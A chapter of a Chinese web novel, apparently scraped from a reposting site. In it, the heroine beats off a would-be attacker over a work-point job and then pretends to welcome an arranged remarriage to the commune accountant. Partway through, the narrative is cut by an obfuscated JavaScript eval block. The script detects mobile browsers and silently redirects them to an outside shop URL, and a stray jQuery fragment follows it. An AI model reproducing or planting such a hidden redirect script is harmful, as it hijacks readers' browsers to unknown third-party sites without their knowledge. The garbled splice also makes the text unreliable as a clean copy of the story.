眼见霍驰从小路上消失。
卫恒杰大喝一声,从灌木丛后面跳了出来:
“汰!”
蒙着脸,谁也看不出是他,嘿嘿嘿。
待他把季初萤打上一顿,让她爬不起来,就不能抢他的活啦!
“季初萤!知道你得罪谁了吗!”
“桀桀桀!今天大爷我就要替天行道!”
卫恒杰英雄豪杰一般,黑布蒙面,仰天狞笑。
季初萤刹住脚步:“卫恒杰,你有病吧。”
狞笑戛然而止。
卫恒杰恼怒道:“放屁!谁跟你说大爷是卫恒杰了!”
“爱咋咋地。”季初萤懒得理他,试图绕开。
“哪里走!”
季初萤:“你想干什么?”
卫恒杰:“老子要揍你。”
还怪有原则,揍人先通知一下,有商有量的。
季初萤:“那完了。”
卫恒杰活动手腕:“哼哼!现在知道害怕了吧?”
“我说你完了。”
“哈哈哈哈哈笑死大爷了!”
卫恒杰活动完手腕,又活动胳膊,胳膊完事又活动脖子。
一个响都没有。
季初萤:“你前摇这么长吗,能不能快点?”
摇头摆尾,不够耽误事的。
卫恒杰才20,比季初萤还小两岁,在土墩大队其实算是比较瘦弱的。
但他是个男人,男人总比女人力气大的,他想。
于是,卫恒杰热完身,自信十足地朝季初萤冲了过来。
季初萤!
你能受得住我一拳吗!
我可是练家子!
看我不把你打得满脸桃花开!
卫恒杰支棱着拳头,破风之刃一般向前冲。
季初萤眼皮都没抬一下,下肢已稳稳地扎好了马步。
当那瘦小无力的拳头顶到面门时,她一个侧头躲过,反手抓住卫恒杰的手腕。
“嗷!!!”
卫恒杰发出一声惨叫。
以一个扭曲的姿势被季初萤摁住,胳膊别在身后,疼得脸都红了。
“嗷嗷嗷!嗷嗷嗷嗷嗷!!!嗷啊!!!!”
季初萤:“别以为学狗叫我就会放过你。”
卫恒杰尖叫:“放手!快放手!季初萤!”
“费事巴啦的准备那么久。”季初萤带着几分嫌弃甩开手。
卫恒杰抱着胳膊快退几步,像见鬼一般:“你会功夫?”
“不会啊。”
卫恒杰:“真的吗?我不信。”
他玩赖的,趁季初萤不防备,伸手就推。
季初萤顺势一个带拉,脚下一绊。
动作快得看不清影子。
“扑通!”
卫恒杰摔了个四仰八叉,啃了一嘴泥。
“啊啊啊!”
“呸呸呸!!”
他趴在地上叫了半天,又吐了几口泥。
“你会功夫!我敢肯定!”
上个月刚举办了全国武术交流会,报纸都登了,他进城走亲戚还看了电视报道,就跟季初萤现在一样一样的!
季初萤耸肩:“我不会啊,你打我我就躲开啊。”
“那你为什么反应这么快?”
季初萤嘲笑地看了他一眼,“是你反应太慢了。”
“你真不会?”
“嗯。”
卫恒杰爬起来,表情跟李云龙如出一辙:“那你他娘的还真是个天才。”
季初萤:“……”
待卫恒杰拍干净身上的泥土,吐完嘴里的黑泥,季初萤想到一个问题:“之前是不是你砸我后脑勺?”
她不记得卫恒杰跟原身有没有什么过节。
卫恒杰闻言,不敢相信自己的耳朵:“我有毛病啊,对我有什么好处吗?”
“也对。”
“那你现在为什么要揍我?”
只是因为因为她当了临时记分员?
卫恒杰:“你抢我的活!”
还真是这个。
真是小气吧啦,她又不会一直干这个。
卫建国也说了,等她养好身体再干别的。
“我干的好好的,你一醒来我就干不成了,我下地才能挣几个工分啊?”
他一开始还理直气壮,一看季初萤的脸,又有些忌惮,声音越来越低,“谁让你抢我的活……”
季初萤:“你叔啊,不满意你去揍他。”
卫恒杰:“……”
那不敢。
他揉揉被闪到的腰,余光偷偷瞥季初萤。
现在他知道季初萤力气不小了。
都是她之前那个样子,像个柔弱的花瓶,给了他一种不堪一击的假象。
但不知道为什么,
被她揍了一顿后,他反耳呢,感觉她更好看了。
“算了,你想干就干吧。记工分的活我让给你了。”
季初萤转身回家:“你是抖m吗。”
卫恒杰跟上来:“啥意思?我卫恒杰啊!”
“我管你谁呢,没有揍爽你的义务。”
卫恒杰跟了几步,略扭捏地说:“你是不是……还想着他?”
季初萤:“谁?霍驰?”
她就看上人家的身子,过把眼瘾而已。
这个年代的人这么纯情,让人都不好意思愉快地想黄色了。
扫兴。
卫恒杰:“廖星纬。”
噢,那个回城的男知青啊。
单纯的季初萤很好骗,几句出格的话,几个大胆的眼神,她就小鹿乱撞,心跳加速。
然后,政策下来,廖星纬拍拍屁股,毫不留恋地回城了。
她伤心啊,她难过啊,她强颜欢笑,她默默垂泪。
“切!我跟你说,上个星期我进城,还看见他跟一个女孩在一起,”
卫恒杰不屑地说:“负心汉!不要脸!”
季初萤明知故问:“他负了谁?”
“你啊!”
“谁说的?”
“包含秀。”
季初萤的弟媳妇包含秀,跟卫恒杰家是邻居,两个人像姐弟一样一起长大。
季海涛是包含秀的舔狗,包含秀喜欢廖星纬,廖星纬对季初萤眉目传情。
乱成一锅粥了。
包含秀讨厌季初萤,一部分原因是廖星纬。
“他负我?他也配?”季初萤冷笑。
“你?你不喜欢他吗?”卫恒杰眼睛亮了亮。
“不喜欢,小白脸,儿童身材,有什么吸引我的地方吗?”说着,她意有所指地看了卫恒杰一眼。
“季初萤,我走了明天见!”卫恒杰突然沿着原路跑回去了。
季初萤:“……”
.
回到家,季家人已经在吃饭了。
凌素云看见她,喊了一声:“初萤,快吃饭。”
季初萤应了一声,洗手上桌。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609407|205878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
季老实跟季海龙在说别的公社实行的“包产到户”、“包干到户”的新政策。
两个男人侃侃而谈,发表见解,一副很懂的样子。
季海涛边吃饭,边鼓捣他的破二手半导体收音机,滋啦滋啦的没收到一个电台。
莫桂兰坐在季初萤对面,皮笑肉不笑:“挣5个分,真好意思吃。”
凌素云听力弱,听不见,季初萤听见了。
她面色不改:“我不光好意思,我还吃得多。”
莫桂兰:脸皮真厚啊
季老实吃得差不多了,对季初萤道:“今天记工分咋样?”
季初萤:“就那样。”
季老实:“大队部的于会计,你见到了吧?”
“嗯。”
季初萤心中冷笑,来了。
果然,季老实雷霆发言而恬不知耻:“他老婆死了三个月了,想再娶一个照顾孩子……”
季海涛闻言抬头:“他儿子跟我一般大了吧?照顾啥?”
季老实瞪眼:“调你的收音机吧!”
季海涛讪讪闭嘴。
季老实:“于会计识文断字,管钱管粮,说话还有分量,年底还能拿干部工分。”
凌素云小声反驳:“于会计年龄有点大……”
季老实一下子火了。
“你懂什么!我是一家之主!”
“我说咋办就咋办!”
季初萤没说话。
莫桂兰隔岸观火,喜见其败。
季海龙一如既往,装听不见。
季老实语气强硬:“初萤,你也算是二嫁,于会计这样的条件还不行?你还想肖想天王老子不成?”
季初萤边往嘴里塞饭,边垂着眼睛道:“爹,于会计人挺好的,我也很满意。”
五双眼睛齐刷刷看向她。
莫桂兰的筷子“当啷”一声掉在桌上。
季海涛手一抖,破收音机滋啦两声后,收到了台:
“好一朵美丽的茉莉花,好一朵美丽的茉莉花,芬芳美丽满枝桠,又香又白人人夸。让我来将你摘下,送给别人家,茉莉花呀茉莉花……”
凌素云盯着季初萤的小脸,眼睛慢慢红了:“初萤……”
她这个娘没用啊,连自己的闺女都护不住。
这么一朵纯净青涩的茉莉花啊!
季老实不自然地咳嗽了一声。
季海涛慌忙关掉收音机。
季初萤喝完最后一口汤,开始拔刀:“爹,娘,你们把我养这么大不容易,现在是我报答你们的时候了。”
凌素云一听,背过身去抹眼泪。
“我对于会计没有别的要求,我嫁过去后,也不求他待我多好,只要能让我帮衬娘家就行。”
季海龙、莫桂兰和季海涛错愕地张大嘴巴。
他们知道,在季老实的软硬兼施下,季初萤最终会同意的。
只是没想到,她竟然能这么心甘情愿,半点抗拒都没有。
季初萤:“爹,他管着钱粮,还管着工分,手里有些权力。他只要愿意帮咱家、帮你,我二话不说嫁他!”
这下轮到季老实懵圈了。
这也太顺利了吧。
还以为要费些口舌和功夫。
季初萤语气软软的,别提多乖了:“爹,你明天去问一问他吧,只要他愿意给你开后门,我就嫁给他。”
季老实脸上的肌肉抖动了两下,看起来很激动。
“行!行!”